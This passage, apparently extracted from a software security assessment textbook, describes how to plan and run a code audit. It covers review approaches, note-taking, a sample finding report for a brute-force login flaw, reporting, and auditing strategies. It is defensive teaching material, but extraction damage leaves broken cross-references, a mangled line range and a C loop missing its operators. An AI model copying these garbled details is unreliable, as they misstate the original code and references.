 Clients don't want to pay for a design review. This isn't a surprise, as clients 

rarely want to pay for anything. It's more or less up to you as a professional to 

make sure they get the best bang for their buckin spite of themselves. Time is 

expensive in consulting and development environments, so you'd better be 

confident that what you're doing is the best use of your time. 

Accepting all the preceding points, performing a design review and threat model first, 

whenever realistically possible, is still encouraged. If done properly, it can make the 

whole assessment go more smoothly. 

Avoid Drowning 

This process has been structured based on extensive experience in performing code 

reviews. Experienced auditors (your authors in particular) have spent years 

experimenting with different methodologies and techniques, and some have worked 
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out better than others. However, the most important thing learned from that 

experience is that it's best to use several techniques and switch between them 

periodically for the following reasons: 

 You can concentrate intensely for only a limited time. 

 Different vulnerabilities are easier to find from different perspectives. 

 Variety helps you maintain discipline and motivation. 

 Different people think in different ways. 

Iterative Process 

The method for performing the review is a simple, iterative process. It's intended to 

be used two or three times over the course of a work day. Generally, this method 

works well because you can switch to a less taxing auditing activity when you start to 

feel as though you're losing focus. Of course, your work day, constitution, and 

preferred schedule might prompt you to adapt the process further, but this method 

should be a reasonable starting point. 

First, you start the application review with an initial preparation phase, in which you 

survey what information you have available, make some key decisions about your 

audit's structure, and perform design review if adequate documentation is available 

and you deem it to be time effective. After this initial phase, the cycle has three basic 

steps: 

1.  Plan Take some time to decide what you're going to do next. Select an auditing 

strategy; depending on the strategy, you might need to choose a goal or pick 

from a set of techniques. 

2.  Work Perform the auditing strategy you selected, taking extensive notes. 

3.  Reflect Take a moment to make sure you're managing your time well and are still 

on track. Then figure out what you've learned from the work you just performed. 

These three steps are repeated until the end of the application review phase, although 

the selection of auditing strategies changes as a result of the assessment team 

understanding the codebase more thoroughly. 

Initial Preparation 

You need to get your bearings before you can start digging into the code in any 

meaningful way. At this point, you should have a lot of information, but you probably 

don't know exactly where to start or what to do with the information. The first 

decision to make is how you're going to handle the structure of your review. If you 

don't have much documentation, your decision is simple: You have to derive the 
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design from the implementation during the course of your review. If you have 

adequate documentation, you can use it as a basic roadmap for structuring your 

review. 

There are three generalized approaches to performing an assessment: top-down, 

bottom-up, and hybrid. The first two are analogous to the types of component 

decomposition in software design. As in software design, the approach is determined 

by your understanding of the design at a particular level. 

Top-Down Approach 

The top-down (or specialization) approach mirrors the classical waterfall 

software development process and is mostly an extension of the threat-modeling 

process described in Chapter 2(? [????.]), "Design Review." For this approach, you 

begin from your general knowledge of the application contained in your threat model. 

You then continue refining this model by conducting implementation assessments 

along the security-relevant pathways and components identified in your model. This 

approach identifies design vulnerabilities first, followed by logical implementation 

vulnerabilities and then low-level implementation vulnerabilities. This technique is 

good if the design documentation is completely accurate; however, any discrepancies 

between the design and implementation could cause you to ignore security-relevant 

code paths. In practice, these discrepancies are probable, so you need to establish 

some additional checks for assessing the pathways your model identifies as not 

relevant to security. 

Bottom-Up Approach 

The bottom-up (or generalization) approach mirrors the other classic 

software-factoring approach. The review proceeds from the implementation and 

attempts to establish the lowest-level vulnerabilities first. A valuable aspect of this 

approach is that it allows you to build an understanding of the application by 

assessing the codebase first. You can then develop the higher-level threat models and 

design documentation later in the review process, when your understanding of the 

application is greatest. The disadvantage is that this approach is slow. Because you're 

working entirely from the implementation first, you could end up reviewing a lot of 

code that isn't security relevant. However, you won't know that until you develop a 

higher-level understanding of the application. 

As part of a bottom-up review, maintaining a design model of the system throughout 

the assessment is valuable. If you update it after each pass through the iterative 

process, you can quickly piece together the higher-level organization. This design 

model doesn't have to be formal. On the contrary, it's best to use a format that's easy 

to update and can capture potentially incomplete or incorrect information. You can 

opt for DFD sketches and class diagrams, or you can use a simple text file for 
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recording your design notes. Choose the approach you consider appropriate for the 

final results you need. 

Hybrid Approach 

The hybrid approach is simply a combination of the top-down and bottom-up 

methods, but you alternate your approach as needed for different portions of an 

application. When you lack an accurate design for the basis of your review (which 

happens more often than not), the hybrid approach is the best option. Instead of 

proceeding from a threat model, you use the information you gathered to try to 

establish some critical application details. You do this by performing an abbreviated 

modeling process that focuses on identifying the following high-level characteristics 

(from the design review process): 

 General application purpose What is the application supposed to do? 

 Assets and entry points How does data get into the system, and what value 

does the system have that an attacker might be interested in? 

 Components and modules What are the major divisions between the 

application's components and modules? 

 Intermodule relationships At a high level, how do different modules in the 

application communicate? 

 Fundamental security expectations What security expectations do legitimate 

users of this application have? 

 Major trust boundaries What are the major boundaries that enforce security 

expectations? 

These points might seem nebulous when you first encounter a large application, but 

that's why you can define them broadly at first. As you proceed, you can refine your 

understanding of these details. It can also help to get a few complete design reviews 

under your belt first. After all, it's good to know how a process is supposed to work 

before you try to customize and abbreviate it. 

Plan 

In the planning phase, you decide which auditing strategy you should use next. These 

auditing strategies are described in detail and evaluated based on several criteria in 

"Code-Auditing Strategies(? [????.])," later in this chapter. However, you need to 

understand some general concepts first, described in the following sections. 

Consider Your Goals 

Typically, you have several goals in an application assessment. You want to discover 

certain classes of implementation bugs that are easy to find via sub-string searches or 

the use of tools, especially bugs that are pervasive throughout the application. 

Cross-site scripting and SQL injection are two common examples of these types of 
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bugs. You might analyze one or two instances in detail, but the real goal here is to be 

as thorough as possible and try to come up with a list that developers can use to fix 

them all in one mass effort. You also want to discover implementation bugs that 

require a reasonable degree of understanding of the code, such as integer overflows, 

where you have to know what's going on at the assembly level but don't necessarily 

have to know what the code is trying to do at a higher level of abstraction. 

As your understanding develops, you want to discover medium-level logic and 

algorithmic bugs, which require more knowledge of how the application works. You 

also want to discover higher-level cross-module issues such as synchronization and 

improper use of interfaces. If you're using a top-down approach, you might be able to 

ascertain such vulnerabilities working solely from design documentation and 

developer input. If you're using a bottom-up or hybrid approach, you will spend time 

analyzing the codebase to create a working model of the application design, be it 

formal or informal. 

Pick the Right Strategy 

The "Code-Auditing Strategies(? [????.])" section later in this chapter describes a 

number of options for proceeding with your review. Most of these strategies work 

toward one or more goals at the same time. It's important to pick strategies that 

emphasize the perspective and abstraction level of the part of the review you're 

focusing on. Your planning must account for the stages at which a strategy is best 

applied. If you can perform a true top-down review, your progression is quite 

straightforward, and your strategies proceed from the application's general design 

and architecture into specific implementation issues. However, in practice, you can 

almost never proceed that cleanly, so this section focuses on considerations for a 

hybrid approach. 

The beginning of a hybrid review usually focuses on the simpler strategies while 

trying to build a more detailed understanding of the codebase. As you progress, you 

move to more difficult strategies that require more knowledge of the implementation 

but also give you a more detailed understanding of the application logic and design. 

Finally, you should build on this knowledge and move to strategies that focus on 

vulnerabilities in the application's high-level design and architecture. 

Create a Master Ideas List 

As the review progresses, you need to keep track of a variety of information about the 

code. Sometimes you can lose track of these details because of their sheer volume. 

For this reason, maintaining a separate list of ways you could exploit the system is 

suggested. This list isn't detailed; it just includes ideas that pop into your head while 

you're working, which often represent an intuitive understanding of the code. So it's 

a good idea to capture them when they hit you and test them when time is available. 
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Pick a Target or Goal 

Reviewing a large codebase is overwhelming if you don't have some way of breaking 

it up into manageable chunks. This is especially true at the beginning of an 

assessment when you have so many possible approaches and don't know yet what's 

best. So it helps to define targets for each step and proceed from there. In fact, some 

code-auditing strategies described in this chapter require choosing a goal of some 

sort. So pick one that's useful in identifying application vulnerabilities and can be 

reasonably attained in a period of two to eight hours. That helps keep you on track 

and prevents you from getting discouraged. Examples of goals at the beginning of an 

assessment include identifying all the entry points in the code and making lists of 

known potentially vulnerable functions in use (such as unchecked string manipulation 

functions). Later goals might include tracing a complex and potentially vulnerable 

pathway or validating the design of a higher-level component against the 

implementation. 

Coordinate 

When reviewing a large application professionally, usually you work with other 

auditors, so you must coordinate your efforts to prevent overlap and make the most 

efficient use of your time. In these situations, it helps if the module coupling is loose 

enough that you can pick individual pieces to review. That way, you can just make 

notes on what potential vulnerabilities are associated with a set of module interfaces, 

and one of your co-auditors can continue the process to review these interfaces in his 

or her own analysis. 

Unfortunately, divisions aren't always clean, and you might find yourself reviewing 

several hundred KLOC of spaghetti code. Splitting up the work in these situations 

might not be possible. If you can, however, you should work closely with other 

auditors and communicate often to prevent too much overlap. Fortunately, a little 

overlap can be helpful because some degree of double coverage is beneficial for 

identifying vulnerabilities in complex code. Remember to maintain good notes and 

keep each other informed of your status; otherwise, you can miss code or take twice 

as long on the application. 

You also need to know when coordinated work just isn't possible, particularly for 

smaller and less modular applications. With these applications, the effort of 

coordination can be more work than the review of the application itself. There's no 

way to tell you how to make this call because it depends on the application and the 

team performing the review. You have to get comfortable with the people you work 

with and learn what works best for them and you. 

Work 
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The actual work step involves applying the code-auditing strategies described in this 

chapter. This explanation sounds simple, but a lot of effort goes into the work step. 

The following sections cover a handful of considerations you need to remember 

during this step. 

Working Papers 

Regulated industries have established practices for dealing with working papers, 

which are simply notes and documentation gathered during an audit. The information 

security industry isn't as formalized, but you should still get in the habit of taking 

detailed assessment notes. This practice might seem like a nuisance at first, but you'll 

soon find it invaluable. The following are a few reasons for maintaining good working 

papers: 

 Notes help you to organize your work and ensure proper code coverage. 

 Working papers provide an easy way to transfer knowledge to another auditor 

and help distributing work among an auditing team. 

 Clients often expect a consultant to supply detailed documentation to justify 

vulnerability findings and provide proof of code coverage. 

 An application might require follow-up reviews, and working papers can 

drastically reduce the time needed to perform these reviews. 

Knowing the value of notes is one thing, but every auditor has his or her own style of 

note taking. Some reviewers are happy with a simple text file; others use 

spreadsheets that list modules and files. You can even create detailed spreadsheets 

listing every class, function, and global object. Some reviewers develop 

special-purpose interactive development environment (IDE) plug-ins with a database 

back end to help in generating automated reports. 

In the end, how you take notes isn't as important as what you're recording, so here 

are some guidelines to consider. First, your notes should be clear enough that a peer 

could approximate your work if you aren't available. Analogous to comments in code, 

clear and verbose notes aren't just for knowledge transfer, but also prove useful when 

you have to revisit an application you haven't seen in a while. Second, your notes 

must be thorough enough to establish code coverage and support any findings. This 

guideline is especially important for a consultant when dealing with clients; however 

it is valuable for internal reviews as well. 

Don't Fall Down Rabbit Holes 

Sometimes you get so caught up in trying to figure out a fascinating technical issue 

that you lose track of what your goal is. You want to chase down that complex and 

subtle vulnerability, but you risk neglecting the rest of the application. If you're lucky, 

your trip down the rabbit hole at least taught you a lot about the application, but that 

won't matter if you simply run out of time and can't finish the review. This mistake is 
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fairly common for less experienced reviewers. They are so concerned with finding the 

biggest show-stopping issue they can that they ignore much of the code and end up 

with little to show for a considerable time investment. So make sure you balance your 

time and set milestones that keep you on track. This might mean you have to ignore 

some interesting possibilities to give your client (or employer) good coverage quality 

within your deadline. Make note of these possible issues, and try to return to them if 

you have time later. If you can't, be sure to note their existence in your report. 

Take Breaks as Needed 

Your brain can perform only so much analysis, and it probably does a good chunk of 

the heavy lifting when you aren't even paying attention. Sometimes you need to walk 

away from the problem and come back when your subconscious is done chewing on it. 

Taking a break doesn't necessarily mean you have to stop working. You might just 

need to change things up and spend a little time on some simpler tasks you would 

have to do anyway, such as applying a less taxing strategy or adding more detail to 

your notes. This "break" might even be the perfect time to handle some minor 

administrative tasks, such as submitting the travel expense reports you put off for the 

past six months. However, sometimes a break really means a break. Get up from your 

chair and poke your head into the real world for a bit. 

Reflect 

In the plan and work steps, you've learned about the value of taking notes and 

recording everything you encounter in a review. In the reflect step, you should take 

a step back and see what you've accomplished. It gives you an opportunity to assess 

and analyze the information you have without getting tripped up by the details. This 

step enables you to make clearer plans as your review continues. 

Status Check 

Look at where you are in this part of your review and what kind of progress you're 

making. To help you determine your progress, ask yourself the following questions: 

 What have you learned about the application? 

 Are you focusing on the most security-relevant components? 

 Have you gotten stuck on any tangents or gone down any rabbit holes? 

 Does your master ideas list have many plausible entries? 

 Have you been taking adequate notes and recorded enough detail for review 

purposes? 

 If you're working from application models and documentation (or developing 

them as you work), do these models reflect the implementation accurately? 

Of course, this list of questions isn't exhaustive, but it's a good starting point. You can 

add more questions based on the specific details of your review. Include notes about 
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possible questions on your master ideas list, and incorporate them into your status 

check as appropriate. 

Reevaluate 

Sometimes plans fail. You might have started with the best of intentions and all the 

background you thought you needed, but things just aren't working. For example, 

you started with a strict top-down review and found major discrepancies between the 

design and the actual implementation, or your bottom-up or hybrid review is way off 

the mark. In these cases, you need to reevaluate your approach and see where the 

difficulties are stemming from. You might not have chosen the right goals, or you 

could be trying to divide the work in a way that's just not possible. The truth is that 

your understanding of an application should change a lot over the course of a review, 

so don't be bothered if a change in your plan is required. 

Finally, don't mistake not identifying any vulnerabilities for a weakness in your plan. 

You could be reviewing a particularly well-developed application, or the vulnerabilities 

might be complex enough that you need a detailed understanding of the application. 

So don't be too quick to change your approach, either. 

Peer Reviews 

Getting input from another code auditor, if possible, is quite valuable. When you look 

at the same code several times, you tend to get a picture in your head about what it 

does and how it works. A fresh perspective can help you find things you might not 

have seen otherwise because you hadn't thought of them or simply missed them for 

some reason. (As mentioned, glancing over a few lines of code without fully 

considering their consequences can be easy, especially during all-night code audits!) 

If you have another code reviewer who's willing to look over some of your work, by all 

means, compare notes. An interesting exercise is to look at the same code without 

discussion, and then compare what you both came up with. This exercise can help you 

see any inconsistencies between how either of you thinks the code works. Usually, 

peer reviewing isn't feasible for double-checking your entire audit because basically, 

it means doing the audit twice. Therefore, peer reviews should focus on parts of the 

code that are particularly complex or where you might not be certain of your work. 

6.4.5 Documentation and Analysis 

After the hard work is over, you need to document your findings. This phase is 

essentially the same as the final phase of the threat model from Chapter 2(? [????.]), 

and you can use the same basic documentation process. Table 4-2 is an example of 

the findings from Chapter 2(? [????.]) updated with the vulnerability's 

implementation details. 

Table 4-2. Finding Summary 
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Threat Brute-force login 

Affected 

component 

Human resources management login component 

Module details login.php (lines 4963) 

Vulnerability 

class 

Authentication bypass 

Description Different errors are returned for invalid usernames and passwords, 

making usernames easier to identify. This error makes a successful 

brute-force attack much more likely against users with weak or 

easily guessed passwords. 

Result Untrusted clients can gain access to user accounts and, therefore, 

read or modify sensitive information. 

Prerequisites The application is located on the corporate intranet, limiting its 

exposure. 

Business 

impact 

A malicious third party can access a user's personal data, which 

could be a violation of federal privacy regulations. 

Proposed 

remediation 

Make error messages ambiguous so an attacker doesn't know 

whether the username or password is invalid. 

Lock the user account after repeated failed login attempts. (Three or 

five attempts would be appropriate.) 

Risk Damage potential: 6 

Reproducibility: 8 

Exploitability: 4 

Affected users: 5 

Discoverability: 8 

Overall: 6.2 

 

This sample is certainly functional; however, it's not the only approach. Your level of 

detail can vary depending on your reasons for the audit and who the report is for. The 

following list is considered useful information to support a security finding: 

 Location of the vulnerability This information (in Table 4-2's Module details 

row) should be fairly specific. You should usually include the filename, function 
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name, and line number in the code. Sometimes a vulnerability spans many 

lines of code (and possibly several functions); in this case, you could omit a 

line number or give a range of line numbers. Also, you might choose to have 

one finding that represents a pervasive vulnerability, in which case this 

information would contain a large list of locations or refer to an external list 

generated by a tool or search. 

 Vulnerability class A classification of sorts about the nature of the bug, 

whether it's buffer overflow, integer overflow, unchecked copy, dangerous API 

use, or one of the other vulnerability classes discussed in this book. 

 Vulnerability description This summary of the vulnerability should describe 

why the code you're drawing attention to isn't secure. In some cases (such as 

a generic buffer overflow), you need to write very little, but more complex or 

unique vulnerabilities might require expanding the description to include more 

specifics. 

 Prerequisites This is a list of prerequisite conditions that need to be true for the 

vulnerability to be triggered. The list might include configuration options or 

technical factors that need to exist before the vulnerability is a problem. 

 Business impact Most reviews need to put technical risks in the context of 

business risks. Specifying the business impact can be tricky, as it changes 

depending on who's expected to deploy the application and how it will be used. 

However, business factors are what motivate the review, so your findings 

need to address these concerns. 

 Remediation It is possible that this information might not be required in some 

cases, or it might only be a simple line or two explaining how the developers 

might want to fix the vulnerability. When working closely with a development 

team, however, the remediation section might be quite detailed and provide 

several options for addressing the vulnerability. 

 Risk This rating is the risk determined from the vulnerability's severity 

combined with the probability of exploit. The DREAD rating system from 

Chapter 2(? [????.]) encapsulates this information as the overall risk rating. 

 Severity This information is the amount of damage that can be incurred if the 

vulnerability is exploited successfully. The DREAD rating system from Chapter 

2(? [????.]) encapsulates severity in the damage potential and affected users 

risk factors. 

 Probability This information is the likelihood of the vulnerability being 

exploited successfully. The DREAD rating system from Chapter 2(? [????.]) 

encapsulates probability in the reproducibility, discoverability, and 

exploitability risk factors. 

Generally, you need to include an overall summary of how the application measured 

up. Was it extremely secure, making exploitable bugs difficult to find? Or did it seem 

as though the developers weren't aware of security considerations? Assigning an 

overall "grade" can be subjective, so make sure you don't come across as judgmental 

or condescending. Instead, you should rely on your results to convey the application's 

quality, and try to express the trends you see and the potential for future problems. 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 119 

After you have some experience, the summary component will seem easier, as you 

should be able to get a feel for how securely an application is developed. 

6.4.6 Reporting and Remediation Support 

A good application security assessment should not be an isolated event. Sometimes 

the findings are just handed off and the job is done. However, most assessments 

require some degree of follow-up and interaction with the development team. 

Application security often isn't well understood, so you might play a big part in 

carrying out remediation. In particular, the developers might need to be educated on 

the nature of the vulnerabilities you identify. They might also need you to review the 

proposed remediation and identify any issues that weren't addressed adequately or 

spot the introduction of new vulnerabilities. 

The remediation review can also introduce additional operational review 

requirements, which often occurs with serious design vulnerabilities or pandemic 

implementation issues. Severe issues might be too expensive or time consuming to 

address adequately. Therefore, the development team might need your assistance in 

identifying stopgap measures and operational protections that can provide additional 

assurance. 

Vulnerability research has its own unique process, even though a researcher typically 

has only one or two critical risk bugs that warrant publication. The amount of work 

required to document, report, and support just one bug can easily exceed the effort 

needed to support an internal assessment with 30 findings. The issue must be 

documented technically and reported to third-party vendors, which is usually fairly 

straightforward. A researcher generally constructs exploits for a few platforms before 

contacting the vendor. This step is a final sanity check of the analysis and 

unequivocally establishes the risk of the issue in case its exploitability is disputed. 

The vendor typically asks for at least a month to fix the bug. At some point, the 

researcher has to prepare information for publication, which must be scrutinized and 

fact checked. Researchers might also be responsible for constructing intrusion 

detection system (IDS) signatures and scanner checks or creating reliable exploits 

suitable for penetration testers to use. Before publication, sometimes they're asked 

to verify the developer's remediation, and they often help the marketing staff prepare 

a press release to accompany any advisory. After the vulnerability is published, the 

researcher occasionally explains the issue to reporters and addresses any issues 

raised in response to the disclosure. 

6.4.7 Code Navigation 

There are a few basic ways to traverse through functions and modules in source code, 

defined by where you start, what your goal is, and how you follow the code. 
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Borrowing some language from other disciplines, code navigation can be described in 

terms of external flow sensitivity and tracing direction. 

External Flow Sensitivity 

When you review an entire application, you need to find different ways to decompose 

it into more manageable parts. One of the easiest ways to do this is to isolate the 

application code's external flow, which refers to how execution proceeds from 

function to function, but not inside a function. It's divided into two categories: 

control-flow sensitive and data-flow sensitive. A brief example should help 

illustrate what this concept means: 

int bob(int c) 

{ 

    if (c == 4) 

        fred(c); 

    if (c == 72) 

        jim(); 

    for (; c; c) 

        updateglobalstate(); 

} 

 

Look at this example first in the context of ignoring external control flow and data flow. 

This means you simply read this code from top to bottom; you don't branch out to any 

function calls. You might note that the code uses some sentinel values to call fred() 

and jim() and seems to trust its input c. However, all your analysis should be isolated 

to this function. 

Consider the same example from a control-flow sensitive viewpoint. In this case, you 

start reading this function and see the call to fred(). Because you haven't seen fred() 

before, you pull it up and start checking it out. Then you trace into the call to jim() 

and do the same for the call to updateglobalstate(). Of course, each of these 

functions might call other unfamiliar functions, so your control-flow sensitive 

approach requires evaluating each one. This approach could conceivably involve 

reading dozens of functions before you finish this simple code path. 

Now say you follow only the data flow corresponding to the data in the c variable and 

ignore any control flow that doesn't affect this data directly. With this approach, you 

trace through to the call to fred() because it passes the c variable. However, this 

analysis simply ignores jim() because it doesn't affect the data. 

Finally, if you were following control flow and data flow, you'd have some idea of what 

the value of c might be coming into this function. You might have a certain value in 

mind or a possible set of values. For example, if you know that c couldn't be 4, you 
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wouldn't bother reading fred(). If you suspected that c could be 72, however, you 

need to trace into jim(). 

If you haven't done much code review, you would probably guess that the most useful 

method combines control-flow sensitive and data-flow sensitive approaches because 

you'd be closely following what could happen as the program runs. It might surprise 

you to know that many experienced auditors rely primarily on techniques that aren't 

control-flow or data-flow sensitive. The reason they have done so is to simplify the 

number of mental context switches they deal with to make the most effective use of 

their time. Generally, it's more effective to review functions in isolation and trace the 

code flow only when absolutely necessary. 

Note 

Flow analysis is an important concept in compiler design, and these characterizations 

between control flow and data flow have been simplified for the purposes of this 

discussion. However, real compiler theory is far more complex and should only be 

attempted by card carrying computer scientists. 

 

 

Tracing Direction 

When tracing code, you can follow one of two paths: forward-tracing, usually done to 

evaluate code functionality, and back-tracing, usually done to evaluate code 

reachability. 

Forward-tracing can be done using any of the four types of flow sensitivity outlined 

previously. Forward traces that incorporate control flow and/or data flow start at 

entry points, trust boundaries, or the first line of key algorithms. Forward traces that 

ignore control flow and data flow start at the first line of a file or the top of a module 

implementation. All four techniques are essential core processes for analyzing code. 

Back-tracing usually starts at a piece of code identified as a candidate point, which 

represents a potential vulnerability in the system. Examples include issuing dynamic 

SQL statements, using unbounded string copies, or accessing dynamically generated 

file paths. Candidate points are usually identified through some form of automated 

analysis or by going through the code with the grep utility to find known vulnerable 

patterns. After identifying candidate points, the reviewer traces from them back to 

the application's entry points. 

The advantage of back-tracing is that it involves fewer code paths than 

forward-tracing. The disadvantage is that it's only as strong as your selection of 

candidate points, so you run the risk of overlooking exploitable pathways because you 

didn't consider valid candidate points. You also tend to miss logic-related 
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vulnerabilities entirely because they rarely map cleanly to algorithmically detectable 

candidate points. 

6.4.8 Code-Auditing Strategies 

This section introduces a number of strategies for auditing code and explains their 

strengths and weaknesses. Keep in mind that these strategies can (and often must) 

be combined to suit the nuances of the application you're reviewing. Developing your 

own strategies based on the workflow you find most appealing is encouraged, too. 

Three basic categories of code-auditing strategies are described in the following 

sections, and all three have their value in different situations. The following list 

summarizes the categories: 

 Code comprehension (CC) strategies These strategies involve analyzing 

the source code directly to discover vulnerabilities and improve your 

understanding of the application. 

 Candidate point (CP) strategies These strategies feature two distinct steps. 

First, create a list of potential issues through some mechanism or process. 

Second, examine the source code to determine the relevance of these issues. 

 Design generalization (DG) strategies These strategies, a bit more 

flexible in nature, are intended for analyzing potential medium- to high-level 

logic and design flaws. 

Each strategy description in the following sections includes a scorecard so that you 

can compare the finer points easily. Table 4-3 gives you a legend for understanding 

these scorecards. 

Table 4-3. Auditing Strategies Scorecard Legend 

Start point Where tracing begins for the strategy 

End point The goal for the strategy or where tracing ends 

Tracing method Defines the types of external code flow analysis and tracing 

direction associated with the strategy 

Goal Identifies the purpose of the strategy, meaning what general types 

of vulnerabilities it targets 

Difficulty The difficulty of using the strategy; however, difficulty generally 

decreases as you gain a better understanding of the code. These 

measures are defined as follows: 

Easy 
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Table 4-3. Auditing Strategies Scorecard Legend 

Start point Where tracing begins for the strategy 

Moderate 

Hard 

Very hard 

Speed A measure of how quickly you can perform the strategy, which is 

often affected by its difficulty. These measures are defined as 

follows: 

Very slow 

Slow 

Medium 

Fast 

Very fast 

Comprehension 

impact 

A measure of how much this review strategy builds your 

understanding of the application's function, including the design 

and implementation. Strategies with a higher comprehension 

impact are usually more difficult but pay off by allowing you to 

identify more complex flaws. These measures are defined as 

follows: 

Very low 

Low 

Medium 

High 

Very high 

Abstraction Identifies the level at which the strategy operates, which 

determines the types of vulnerabilities it identifies and the existing 

knowledge you need to apply the strategy. These levels are defined 

as follows:  

Basic implementation: Vulnerabilities in implementation that can 

be identified without understanding the application's function or 
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Table 4-3. Auditing Strategies Scorecard Legend 

Start point Where tracing begins for the strategy 

purpose; includes simple buffer overflows, format strings, and so 

forth. 

Complex implementation: More complex implementation 

vulnerabilities that can be identified with some additional 

application context but require no understanding of the function 

and purpose; includes integer and typing issues, synchronization 

issues, and so on. 

Implementation logic: Vulnerabilities identified from 

understanding the application's function at a module level but 

doesn't necessarily require knowing the high-level design 

abstractions. 

Design: Vulnerabilities in an application's abstract design. 

Architectural: Vulnerabilities in the high-level interaction between 

an application's components or its relationship with other systems; 

includes many classes of operational vulnerabilities. 

Strengths A summary of this strategy's common strengths compared to other 

strategies 

Weaknesses A summary of this strategy's common weaknesses compared to 

other strategies 

 

 

Code Comprehension Strategies 

Code comprehension strategies are organized around discovering vulnerabilities by 

directly analyzing the code. Typically, success with these techniques require you to 

read the code and understand it. They require higher degrees of concentration and 

discipline than other techniques, but they pay dividends in terms of learning the 

codebase. As noted in the previous bulleted list, the abbreviation "CC" is used for the 

following discussion of these strategies. 

Trace Malicious Input 

The CC1 technique (see Table 4-4) is close to what most people think code review 

involves. You start at an entry point to the system, where user-malleable information 

can come in. You then trace the flow of code forward, performing limited data flow 

analysis. You keep a set of possible "bad" inputs in the back of your mind as you read 

the code and try to trace down anything that looks like a potential security issue. This 
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technique is an effective way to analyze code, but it requires some experience so that 

you know which functions to trace into. 

Table 4-4. CC1: Trace Malicious Input 

Start point Data entry points 

End point Security vulnerabilities (open-ended) 

Tracing method Forward, control-flow sensitive, data-flow sensitive 

Goal Discover security problems that can be caused by malicious 

input. Use threat model and/or common vulnerability classes to 

help guide analysis. 

Difficulty Hard 

Speed Very slow 

Comprehension 

impact 

High 

Abstraction Basic implementation through implementation logic 

Strengths Inherent focus on security-relevant code Can sometimes identify 

subtle or abstract flaws Difficult to go off track 

Weaknesses Code and data paths balloon up quickly, especially in 

object-oriented code 

Easy to overlook issues 

Requires focus and experience 

 

Generally, you focus your efforts on searching for any type of behavior that appears 

unsafe: a vulnerability class you recognize, a failure to define a trust boundary where 

it's needed, and so forth. It's hard to go too far off track with this technique because 

you can usually keep yourself on the trail of malleable input data. However, 

overlooking issues when you get tired or impatient can happen, as inevitably you 

start skipping over functions you would have analyzed earlier in the day. 

Unfortunately, this strategy is so time consuming that you're certain to lose focus at 

some point. 

This kind of analysis can prove difficult in object-oriented code, especially poorly 

designed object-oriented code. You'll know quickly whether this is an issue because 

the first user input you trace makes you open five or six source code files, usually 

before the system manages to do anything with the input. In this case, you need the 

assistance of accurate design documentation, including a fairly complete threat 
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model. Failing that, you should postpone your analysis and perform some module or 

class review first to understand the system from an object-oriented perspective. 

Analyze a Module 

The crux of the CC2 technique (see Table 4-5) is reading code line by line in a file. 

Instead of drilling down into function calls and objects you encounter, or back-tracing 

to see how functions are called, you take notes about any potential issues you spot. 

Table 4-5. CC2: Analyze a Module 

Start point Start of a source file 

End point End of a source file 

Tracing method Forward, not control-flow sensitive, not data-flow sensitive 

Goal Look at each function in a vacuum and document potential 

issues. 

Difficulty Very hard 

Speed Slow 

Comprehension 

impact 

Very high 

Abstraction Basic implementation through design 

Strengths You learn the language of the application 

Easier to analyze cohesive modules 

Can find subtle and abstract flaws 

Weaknesses Mentally taxing 

Constant documentation requires discipline 

Easy to mismanage time 

 

You might not expect this, but many experienced code reviewers settle on the CC2 

technique as a core part of their approach. In fact, two of your authors typically start 

reviewing a new codebase by finding the equivalent of the util/directory and reading 

the framework and glue code line by line. 

This technique has great side benefits for future logic and design review efforts 

because you pick up the language and idioms of the program and its creators. It 

might seem as though you'd miss issues left and right by not tracing the flow of 
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execution, but it actually works well because you aren't distracted by jumping around 

the code constantly and can concentrate on the code in front of you. Furthermore, all 

the code in the same file tends to be cohesive, so you often have similar algorithms to 

compare. 

This technique has tradeoffs as well. First, it's taxing, and often you feel mental 

fatigue kick in after too many continuous hours. Sometimes you stop being effective 

a little while before you realize it, which can lead to missed vulnerabilities. The other 

problem is that documenting every potential issue requires considerable discipline, 

and maintaining the momentum for longer than four or five hours can be hard. 

Generally, you should stop for the day at this point and switch to other types of less 

intense analysis. 

This technique has another hidden flaw: It's easy to go off track and review code that 

isn't security-relevant and isn't teaching you anything about the application. 

Unfortunately, you need to have a good feel for software review to know whether 

you're spending your time effectively. Even considering that, sometimes a piece of 

code just catches your fancy and you follow it down the rabbit hole for the next 

several hours. So make sure you're sticking to your process when using this review 

strategy and accurately assessing how valuable it is. 

Analyze an Algorithm 

The CC3 strategy (see Table 4-6) requires knowing enough of the system design to be 

able to select a security-relevant algorithm and analyze its implementation. This 

strategy is essentially the same as analyzing a module (CC2); however, you're less 

likely to go off track. 

Table 4-6. CC3: Analyze an Algorithm 

Start point Start of a key algorithm 

End point End of that algorithm 

Tracing method Forward, not control-flow sensitive, not data-flow sensitive 

Goal Look at the algorithm and identify any possible weakness in the 

design or implementation. 

Difficulty Very hard 

Speed Slow 

Comprehension 

impact 

Very high 

Abstraction Basic implementation through design 
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Table 4-6. CC3: Analyze an Algorithm 

Start point Start of a key algorithm 

Strengths You can't go off track 

Can find subtle and abstract flaws 

Weaknesses Mentally taxing 

Lacks context 

 

Of course, the effectiveness of this strategy depends almost entirely on the algorithm 

you select to analyze, so you need to choose something security relevant. It's best to 

focus your efforts on pervasive and security critical algorithms, such as those that 

enforce the security model, implement cryptography, or are used in most input 

processing. 

Analyze a Class or Object 

The CC4 strategy (see Table 4-7) is almost the same as analyzing a module (CC2, 

Table 4-5), except you focus on a class implementation. 

Table 4-7. CC4: Analyze a Class or Object 

Start point An object 

End point All references to that object examined 

Tracing method Forward, not control-flow sensitive, not data-flow sensitive 

Goal Study the interface and implementation of an important object 

to find vulnerabilities in how the system uses it. 

Difficulty Hard 

Speed Slow 

Comprehension 

impact 

Very high 

Abstraction Basic implementation through design 

Strengths Less likely to go off track than in module analysis 

Can find subtle and abstract flaws 

Weaknesses Mentally taxing 
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Table 4-7. CC4: Analyze a Class or Object 

Start point An object 

Might lack context 

More likely to go off track than in algorithm analysis 

 

This strategy is more effective than CC2 for object-oriented programs because 

objects tend to be fairly cohesive. It's also less prone to slipping off track, although 

how much is determined by how cohesive and security relevant the object is. As with 

CC2, you need to pay close attention when employing this review strategy. 

Trace Black Box Hits 

Chapter 1(? [????.]), "Software Vulnerability Fundamentals," introduced black box 

testing and fuzz-testing, and this chapter explains how they can affect the 

assessment process. To recap, in black box testing, you manually feed an application 

with different erroneous data to see how the program responds; fuzz-testing uses 

tools to automate the blackbox testing process. You flag your black box input as a 

"hit" when it causes the program to crash or disclose useful information it shouldn't. 

These hits are then traced to identify the vulnerabilities that caused the abnormal 

behavior. Essentially, black box testing is a brute-force method for finding 

